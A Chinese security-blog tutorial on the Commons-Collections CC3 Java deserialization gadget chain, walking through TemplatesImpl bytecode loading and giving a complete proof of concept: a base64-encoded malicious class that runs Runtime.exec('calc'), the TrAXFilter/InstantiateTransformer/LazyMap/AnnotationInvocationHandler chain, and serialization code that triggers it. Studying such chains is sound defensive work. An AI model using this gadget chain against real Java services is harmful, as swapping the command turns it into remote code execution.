本文笔者带领大家学习CC3这条链,还是老样子,分开来学。首先来学习TemplatesImpl加载字节码,这是CC 链中的一部分·。
接上篇文章 CC1链:https://mp.weixin.qq.com/s/lZO_IWyytMwoNNXoZKN6nw
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
接下来TemplatesImpl代码如下,短短6行代码,当你执行就可以执行命令。(base64加密的数据是一个恶意类,用来弹出calc的)
byte[] bytes =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5l TnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv eHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNv bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEA Bjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMM AB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUv QWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl dEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUB ABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By b2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEA DAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgAC AAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg== ");
2TemplatesImpl templates = new TemplatesImpl();
3setField(templates,"_bytecodes",new byte[][]{bytes});
4setField(templates,"_name","123");
5setField(templates,"_tfactory",new TransformerFactoryImpl());
6templates.newTransformer();
现在根据调用链分析即可,跟进TemplatesImpl#newTransformer(),发现其调用了getTransletInstance()。
跟进getTransletInstance(),发现了对_null进行判断是否为空所以才会有了前面通过反射修改name的值,才能绕过该if
setField(templates,"_name","123");
之后跟进defineTransletClasses()
defineTransletClasses()方法如下(注意这里最开始有一个if(_bytecodes==0) 所以需要绕过),成功会调用到TransletClassLoader#defineClass()方法
而TransletClassLoader#defineClass()在传入字节码之后,会返回class对象为_class[i]
之后在下方判断,读取的字节码是否继承了AbstractTranslet(父类),如果继承了,并最终会给_transletIndex赋为0
最终通过_class[0].newInstance()调用
重头戏来了,CC3代码如下:
public class CCthree {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException {
3byte[] bytes =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5l TnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv eHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNv bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEA Bjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMM AB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUv QWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl dEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUB ABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By b2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEA DAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgAC AAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg== ");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
setFieldValue(obj,"_name","123");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]
{obj})
});
HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap,chain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler =
(InvocationHandler)constructor.newInstance(Override.class,lazymap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
Object newObj = constructor.newInstance(Override.class,proxyMap);
//序列化与反序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.bin"));
objectOutputStream.writeObject(newObj);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc3.bin"));
objectInputStream.readObject();
objectInputStream.close();
public static void setFieldValue(Object obj,String name,Object value) throws
NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}
短短30多行代码诠释完毕。(可能有人心里会觉得 这都什么玩意儿?)
小伙伴们如果在看完上一篇CC1链这篇文章的话,肯定就会发现很多熟悉的代码。
在初始化的时候,用到了InstantiateTransformer这个类。跟进分析,可以发现transform是用来执行命令的
lazyMap初始化赋值如下:
其get方法用来调用到ChainedTransformer的transform方法
接下来又是AnnotationInvocationHandler这个类了
在AnnotationInvocationHandler.invoke()方法会调用memberValues.get方法,而memberValues变量就是在第四行传入的lazymap
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler =
(InvocationHandler)constructor.newInstance(Override.class,lazymap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]
{Map.class},invocationHandler);
Object newObj = constructor.newInstance(Override.class,proxyMap);
我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。
所以有了上方为什么用到了代理。其次代理不能够被序列化,所以最后需要用AnnotationInvocationHandler 包裹一层。与CC1一样。
最后成功弹出计算器
最后提醒一下各位,setFieldValue是本人自己定义的方法,用反射修改来修改私有属性用的。
public static void setFieldValue(Object obj,String name,Object value) throws
NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
关于公众号投稿
-
目前只接受原创文章投稿 内容免杀 渗透实例 代码审计 溯源 经验技巧
-
要求 质量较好 从没发表 如有敏感内容请打码。
-
一经采纳根据文章质量给予作者 50-300的稿费。
-
欢迎写手长期合作 投稿联系
原文始发于微信公众号(moonsec):java安全 TemplatesImpl与CC3链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论